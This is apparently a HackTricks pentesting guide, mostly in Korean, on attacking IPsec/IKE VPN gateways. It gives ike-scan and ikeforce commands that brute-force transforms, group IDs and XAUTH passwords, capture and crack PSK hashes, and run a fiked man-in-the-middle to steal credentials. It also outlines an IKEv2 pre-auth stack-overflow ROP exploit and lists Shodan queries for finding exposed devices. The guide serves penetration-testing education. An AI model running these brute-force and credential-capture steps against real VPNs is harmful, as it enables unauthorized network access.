500/udp - Pentesting IPsec/IKE VPN
Reading time: 15 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
IPsec는 네트워크 간(LAN-to-LAN) 및 원격 사용자의 네트워크 게이트웨이(원격 액세스)로의 통신을 보호하는 주요 기술로 널리 인정되며, 엔터프라이즈 VPN 솔루션의 중추 역할을 합니다.
두 지점 간의 security association (SA) 수립은 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범위 아래에서 작동하는 IKE에 의해 관리됩니다. 이 과정은 여러 단계로 진행됩니다:
- Phase 1: 두 엔드포인트 간에 보안 채널이 생성됩니다. 이는 Pre-Shared Key (PSK) 또는 인증서를 사용하여 이루어지며, 세 쌍의 메시지를 포함하는 main mode 또는 aggressive mode를 사용합니다.
- Phase 1.5: 필수는 아니지만, Extended Authentication Phase로 알려진 이 단계에서는 사용자 이름과 비밀번호를 요구하여 연결을 시도하는 사용자의 신원을 확인합니다.
- Phase 2: 데이터 보호를 위한 파라미터를 ESP 및 AH로 협상하는 단계입니다. 이 단계에서는 Phase 1과 다른 알고리즘을 사용하여 Perfect Forward Secrecy (PFS)를 보장할 수 있어 보안이 향상됩니다.
기본 포트: 500/udp
또 자주 노출됨: 4500/udp (NAT Traversal)
nmap을 사용하여 서비스 탐지
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
유효한 변환 찾기
IPSec 구성은 하나 또는 몇 개의 변환만을 허용하도록 준비될 수 있다. 변환은 값들의 조합이다. 각 변환은 DES 또는 3DES를 암호화 알고리즘으로, SHA 또는 MD5를 무결성 알고리즘으로, 사전 공유 키(pre-shared key)를 인증 유형으로, Diffie-Hellman 1 또는 2를 키 분배 알고리즘으로, 28800초를 수명으로 하는 등의 여러 속성을 포함한다.
따라서 먼저 해야 할 일은 서버가 통신하도록 유효한 변환을 찾는 것이다. 그렇게 하려면 도구 ike-scan을 사용할 수 있다. 기본적으로 Ike-scan은 main mode에서 작동하며, ISAKMP 헤더와 그 안에 8개의 변환이 포함된 단일 제안을 담은 패킷을 게이트웨이로 전송한다.
응답에 따라 엔드포인트에 대한 몇 가지 정보를 얻을 수 있다:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
As you can see in the previous response, there is a field called AUTH with the value PSK. This means that the vpn is configured using a preshared key (and this is really good for a pentester).
마지막 줄의 값도 매우 중요합니다:
- 0 returned handshake; 0 returned notify: 이는 대상이 not an IPsec gateway임을 의미합니다.
- 1 returned handshake; 0 returned notify: 이는 target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable라는 의미입니다(유효한 transform은 출력에 표시됩니다).
- 0 returned handshake; 1 returned notify: VPN gateways는 none of the transforms are acceptable일 때 notify 메시지로 응답합니다(단 일부 gateways는 그렇지 않아 추가 분석과 수정된 제안을 시도해야 합니다).
이 경우 이미 유효한 transformation이 있지만, 세 번째 경우에 해당한다면 유효한 transformation을 찾기 위해 brute-force를 약간 수행해야 합니다:
우선 가능한 모든 transformations을 생성해야 합니다:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
그런 다음 ike-scan을 사용해 각 항목을 brute-force하세요(몇 분 정도 걸릴 수 있습니다):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
만약 brute-force가 작동하지 않았다면, 서버가 유효한 transforms에 대해서도 handshakes 없이 응답하고 있을 수 있습니다. 그러면 동일한 brute-force를 aggressive mode로 시도해볼 수 있습니다:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
희망컨대 유효한 변환이 반환됩니다.
iker.py을 사용하여 same attack을 시도할 수 있습니다.
또는 ikeforce를 사용해 변환을 brute force로 시도해볼 수도 있습니다:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH
Cisco는 DH groups 1 및 2의 사용을 피하라고 권고합니다. 이들 그룹은 충분히 강력하지 않기 때문입니다. 전문가들은 자원이 풍부한 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호를 상대적으로 쉽게 깨뜨릴 수 있다고 보고 있습니다. 이는 빠른 해독을 위해 사전 준비를 해두는 특수한 방법을 사용해 이루어집니다. 설정 비용은 매우 높지만, 이런 강대국들은 1,024-bit 이하처럼 강도가 약한 그룹을 사용할 경우 실시간으로 암호화된 데이터를 읽을 수 있게 됩니다.
Server fingerprinting
Then, you can use ike-scan to try to 장비의 벤더를 식별할 수 있습니다. 이 도구는 초기 제안을 보내고 재전송을 멈춥니다. 그런 다음 서버로부터 수신된 메시지와 일치하는 응답 패턴 간의 시간 차이를 분석함으로써, pentester는 성공적으로 VPN 게이트웨이 벤더를 지문화할 수 있습니다. 또한 일부 VPN 서버는 IKE와 함께 선택적인 Vendor ID (VID) payload를 사용할 수 있습니다.
필요한 경우 유효한 변환을 지정하세요 (--trans 사용)
If IKE discover which is the vendor it will print it:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
이것은 nmap script _ike-version_으로도 수행할 수 있습니다.
IKEv2-specific: WatchGuard Vendor ID version fingerprinting
일부 IKEv2 데몬은 IKE_SA_INIT 응답에 비표준 Vendor ID 페이로드를 포함합니다. WatchGuard Fireware OS는 VID 내부에 어플라이언스 버전/빌드를 직접 인코딩하여 단일 패킷, pre-auth fingerprinting이 가능하게 합니다.
- 전송: UDP/500 (및 NAT-T의 경우 UDP/4500)
- 패킷: IKE_SA_INIT 응답은 하나 이상의 Vendor ID 페이로드를 포함합니다
- WatchGuard 형식: 32-byte hash 뒤에 base64가 따라오며, 디코드하면 예를 들어
VN=12.11.3 BN=719894가 됩니다
Example raw bytes from a WatchGuard VID payload (last 12 bytes are base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
base64 tail이 있을 때 shell에서 빠르게 추출하기:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
노트
- 이는 어떤 IKEv2 RFC의 일부가 아닙니다. 노출되거나 취약한 Fireware OS 버전을 빠르게 범위 지정하기 위한 vendor quirk로 취급하세요.
- IKE_SA_INIT 응답을 유도하기만 하면 되고 인증은 필요하지 않습니다.
올바른 ID (그룹 이름) 찾기
hash를 캡처하려면 Aggressive mode를 지원하는 유효한 transformation과 올바른 ID(그룹 이름)가 필요합니다. 유효한 그룹 이름을 모를 가능성이 높으므로 brute-force해야 합니다.\ 이를 위해 저는 다음 두 가지 방법을 권장합니다:
Bruteforcing ID with ike-scan
먼저 hash를 얻기 위해 가짜 ID로 요청을 시도해 보세요 ("-P"):
ike-scan -P -M -A -n fakeID <IP>
만약 no hash is returned 라면, 아마 이 brute forcing 방법이 작동할 것입니다. If some hash is returned, this means that a fake hash is going to be sent back for a fake ID, so this method won't be reliable to brute-force the ID. 예를 들어, 가짜 hash가 반환될 수 있습니다(이것은 최신 버전에서 발생합니다):
.png)
하지만 앞서 말했듯이 no hash is returned 경우에는 ike-scan을 사용해 일반적인 group names를 brute-force 해보아야 합니다.
이 스크립트는 will try to brute-force possible IDs 하며, 유효한 handshake가 반환되는 ID들(이는 유효한 group name입니다)을 반환합니다.
특정 transformation을 발견했다면 ike-scan 명령어에 추가하세요. 여러 transformations을 발견했다면 모두 시도하도록 새 loop를 추가해도 됩니다(하나가 제대로 작동할 때까지 모두 시도해야 합니다).
일반적인 group names를 brute-force하기 위해 dictionary of ikeforce 또는 the one in seclists를 사용할 수 있습니다:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Or use this dict (is a combination of the other 2 dicts without repetitions):
Bruteforcing ID with Iker
iker.py also uses ike-scan to bruteforce possible group names. It follows it's own method to find a valid ID based on the output of ike-scan.
Bruteforcing ID with ikeforce
ikeforce.py is a tool that can be used to brute force IDs also. This tool will try to exploit different vulnerabilities that could be used to distinguish between a valid and a non-valid ID (오탐 및 누락이 발생할 수 있으므로, 가능하면 ike-scan 방법을 선호합니다).
By default ikeforce will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use.
- The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
- The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
- The third method consist on searching for "INVALID-ID-INFORMATION" in response to incorrect ID.
- Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.
Obviously, the goal of brute forcing the id is to get the PSK when you have a valid id. Then, with the id and PSK you will have to bruteforce the XAUTH (if it is enabled).
If you have discovered an specific transformation add it in the ikeforce command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(책 Network Security Assessment: Know Your Network에서): VPN client와 server 간의 연결을 sniffing함으로써 유효한 사용자 이름을 얻을 수도 있다. 첫 번째 aggressive mode 패킷에 client ID가 평문으로 전송되기 때문이다
.png)
Capturing & cracking the hash
마지막으로, valid transformation과 group name을 찾았고 aggressive mode가 허용되어 있다면, 매우 쉽게 crackable hash를 얻을 수 있다:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
hash는 _hash.txt_에 저장됩니다.
다음 도구들인 psk-crack, john (using ikescan2john.py) 및 hashcat을 사용하여 hash를 crack할 수 있습니다:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE와 **Pre-Shared Key (PSK)**의 조합은 일반적으로 그룹 인증에 사용됩니다. 이 방법은 추가적인 사용자 인증 계층을 도입하기 위해 **XAuth (Extended Authentication)**로 보강됩니다. 이러한 인증은 일반적으로 Microsoft Active Directory, RADIUS 또는 유사한 시스템을 활용합니다.
IKEv2로 전환하면 사용자 인증에 XAuth 대신 **EAP (Extensible Authentication Protocol)**가 사용되는 뚜렷한 변화가 나타납니다. 이 변화는 보안 통신 프로토콜 내 인증 관행의 진화를 보여줍니다.
Local network MitM to capture credentials
따라서 로그인 데이터를 _fiked_를 사용해 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다 (스니핑을 위해 IKE 트래픽을 fiked로 리다이렉트해야 하며, 이는 ARP spoofing의 도움으로 수행할 수 있습니다, more info). Fiked는 VPN 엔드포인트로 동작하여 XAuth 자격 증명을 캡처합니다:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
또한, IPSec을 사용하여 MitM 공격을 시도하고 port 500으로 향하는 모든 트래픽을 차단해 보세요. IPSec 터널을 수립할 수 없다면 트래픽이 평문으로 전송될 수 있습니다.
Brute-forcing XAUTH username ad password with ikeforce
XAUTH를 brute force하려면 (유효한 그룹 이름 id와 psk를 알고 있을 때) username 또는 username 목록과 passwords 목록을 사용할 수 있습니다:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
이렇게 하면 ikeforce가 각 username:password 조합으로 연결을 시도합니다.
하나 이상의 유효한 transforms를 찾았다면 이전 단계들에서처럼 그것들을 사용하면 됩니다.
IPSEC VPN 인증
Kali에서는 VPNC를 사용해 IPsec 터널을 구축합니다. profiles는 디렉토리 /etc/vpnc/에 위치해야 합니다. 이러한 profiles는 명령어 _vpnc_로 시작할 수 있습니다.
다음 명령과 설정은 VPNC로 VPN 연결을 설정하는 과정을 보여줍니다:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
In this setup:
- Replace
[VPN_GATEWAY_IP]with the actual IP address of the VPN gateway. - Replace
[VPN_CONNECTION_ID]with the identifier for the VPN connection. - Replace
[VPN_GROUP_SECRET]with the VPN's group secret. - Replace
[VPN_USERNAME]and[VPN_PASSWORD]with the VPN authentication credentials. [PID]symbolizes the process ID that will be assigned whenvpncinitiates.
Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.
IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs
현대의 VPN 어플라이언스는 종종 IKEv2를 UDP/500(및 NAT-T의 경우 UDP/4500)에서 노출합니다. 일반적인 pre-authentication 공격 표면은 IKE_SA_AUTH 단계에서 Identification(IDi) 및 Certificate 페이로드를 파싱하는 부분입니다.
취약한 IKEv2 파서가 존재할 때의 고수준 익스플로잇 흐름:
- 유효한
IKE_SA_INIT을 보내 변환을 협상하고 Diffie–Hellman을 완료합니다. - 이후
IKE_SA_AUTH를 보내 IDi가 버그를 유발하도록 트리거합니다(예: 인증서 검증 전에 고정 크기 스택 버퍼로 복사되는 과도하게 큰 Identification). - 결과적인 메모리 손상은 저장된 레지스터와 반환 주소 제어를 허용할 수 있습니다.
- NX가 활성화되어 있고 다른 완화가 없을 경우(PIE/캔어리 없음), 스택 페이지에 대해
mprotect를 호출하는 ROP 체인을 구성하고 주입된 shellcode로 실행을 피벗하거나/bin/sh가 없을 경우 상주 인터프리터(예:/usr/bin/python3)로 피벗합니다.
일부 IKEv2 어플라이언스에서 관찰된 기본 변환 예시(WatchGuard Fireware OS 12.11.3):
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
Practical tips
- Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
- Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
- If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.
Reference Material
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
References
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks